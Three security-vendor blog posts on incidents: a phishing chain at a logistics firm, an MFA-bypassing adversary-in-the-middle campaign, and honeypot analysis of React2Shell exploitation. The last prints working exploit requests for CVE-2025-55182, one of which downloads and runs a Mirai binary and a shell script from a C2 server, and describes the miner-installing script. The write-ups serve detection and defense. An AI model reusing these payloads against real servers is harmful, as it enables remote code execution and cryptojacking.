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August 11, 2021

How One Email Compromised an Entire Logistics Company

A single phishing email led to a massive compromise at a logistics company in Europe. Discover the importance of email security with increasing SaaS usage.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mariana Pereira
VP, Field CISO
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11
Aug 2021

Organizations are only as secure as their weakest link. In many cases, that weak link arises in the various cloud applications an organization relies on. Several high-profile groups including APT28 are known to exploit commonly-used passwords to bruteforce their way into businesses around the world. These ‘spray’ campaigns often target Microsoft Office 365 accounts and will only become more frequent as the use of SaaS increases.

This blog analyses how a single phishing email slipped under the radar of the gateway and other traditional tools in place, and eventually led to mass compromise at a logistics company in Europe.

Logistical nightmare

Logistics operators play a critical role across every industry sector. Managing the distribution of goods and services from the seller to the customer, they enable – or bottleneck – an efficient supply chain. Inevitably, logistics companies have become an attractive target for cyber-criminals, due to the high number of organizations they interact with, the pressure they’re under to deliver on time, and the sensitive data they often handle.

It is a simple equation for attackers: do they put in the hard work to infiltrate 20 well-defended organizations, or compromise just one, and from there gain access to all 20 or more? The majority of cyber-threats Darktrace has observed this year have gone for the latter – exploiting less protected third parties to gain a foothold across a range of businesses.

The vaccine supply in particular has fallen under attack, numerous times. Last autumn, threat actors infiltrated a German biomedical organization and launched a phishing campaign to harvest credentials and compromise several organizations involved in the COVID-19 cold chain.

Alongside ransomware, phishing attacks are one of the most pressing concerns facing the industry.

Breaking the chain

At a medium-sized logistics company, a user received one phishing email from a hijacked third party. The email came from a trusted source with a well established history of sending emails, so it easily passed the gateway.

Once the phishing email had reached the inbox, the user clicked on the malicious link and was led to a fake login page, where they were tricked into divulging their credentials.

Four days later, the attacker logged into the account from an unusual location, and proceeded to read files with sensitive information.

The next day, Darktrace detected a new email rule from another unusual location. Almost immediately, a large volume of outbound emails was sent from the account, all containing the suspicious link.

Figure 1: Timeline of the attack — the total dwell time was five days.

Supply and disrupt

Once you are inside an organization’s digital ecosystem, it is easy to move around and compromise more accounts. Most security tools and employees do not question an internal email sent by a trusted user, especially if the user is a senior figure with authority.

So, after this set of outbound emails, unusual activity from anomalous locations was duly seen on other company accounts. These users had been tricked into giving away their details from the emails supposedly sent by their colleague.

More sensitive customer files were read, followed by a second spike in outbound emails from these hijacked accounts.

This time, the emails were sent not internally, but to external contacts. The contacts likely were conducting business with the logistics company at the time, and so were used to receiving emails from the accounts.

In total, over 450 phishing emails were sent to a wide range of third parties. Many of these third parties in turn had their credentials compromised – repeating the cycle once again.

Figure 2: Cyber AI Analyst investigates the suspicious activity of a compromised user, providing a detailed summary with the unusual login location and actions carried out.

Hanging by a thread: The threat of third-party attacks

The source of the initial phishing email that kickstarted this attack was itself from a legitimate third party known to the customer, where presumably the same thing had occured.

This form of Vendor Email Compromise, which can be rinsed and repeated to form a vicious loop, is notoriously difficult for email security solutions to detect, and can lead to heavy reputational and financial damage. To complicate matters, acting against a suspicious email from a known sender can also cause severe business disruption if it turns out to be legitimate.

Because of this, security must move beyond the binary approach of ‘good’ and ‘bad’, towards a more holistic understanding of the contextual setting surrounding any email interaction.

Darktrace accurately detected the multiple anomalies when comparing it to other emails from senders of the same domain. It sent high-priority alerts to the security team, but could not prevent the email from reaching the inbox because it was only in detection mode.

Figure 3: Darktrace’s automatic summary of the initial phishing email gives an overview of the suspicious aspects of the email.

The phishing links during the attack used a third-party tool called Piktochart, designed to create various type of files such as infographics, charts, and forms. While Piktochart has several legitimate applications, it can also be exploited. Gateways thus have a hard time distinguishing between legitimate and malicious Piktochart links. In this case, the gateway rewrote the initial link for analysis, but did not identify it as malicious.

In comparison, Darktrace for Email easily identified the email to be suspicious because it noticed it was out of character for that particular sender, and because the link itself was suspicious. In active mode, the AI would have locked the link and moved the email to the Junk folder, effectively preventing the very first step of the attack and avoiding any further compromise.

Figure 4: Piktochart was rarely seen on the deployment up until this point – the domain was 100% rare. Darktrace therefore easily detected the anomalous nature of this third-party tool usage.

The butterfly effect

Most cyber-attacks begin with just a single point of entry – that is all an attacker requires. One phishing email can be enough to bring a whole supply chain to its knees. With 94% of cyber-attacks beginning in the inbox, and suppliers and vendors in constant communication over multiple SaaS platforms – including Microsoft Teams and Google Cloud – email security tools must be capable of detecting when a trusted third party is acting abnormally.

Especially with the rise of remote working, SaaS usage has surged in businesses worldwide and many have been forced to turn to cloud and SaaS to enable a flexible workforce. While there are obvious benefits, these additions have expanded the attack surface and stretched the limits of traditional security and human security teams.

When it comes to logistics companies – who often act as the middle man in global operations – credential harvesting not only has serious consequences for the customer, but for anyone in the customer’s email contacts, and can lead to major breaches for numerous people and businesses.

Figure 5: Darktrace’s user interface reveals the two spikes in outbound emails that were sent out by compromised company accounts.

Thanks to Darktrace analyst Emma Foulger for her insights on the above threat find.

Learn more about the threats facing logistics providers

Darktrace model detections:

  • SaaS / Compliance / New Email Rule
  • SaaS / Unusual Login and New Email Rule
  • Antigena Email models included
  • Unusual / Unusual Login Location and New Unknown Link
  • Link / Account Hijack Link
  • Link / Outlook Hijack
  • Internal Compromise / Recipient Surge from Unusual Login Location (outbound emails)
  • Internal Compromise / Recipient Surge with Suspicious Content (outbound emails)

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mariana Pereira
VP, Field CISO

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with DarktraceDefault blog imageDefault blog image

What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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About the author
David Ison
Cyber Analyst

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December 16, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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About the author
Nathaniel Bill
Malware Research Engineer
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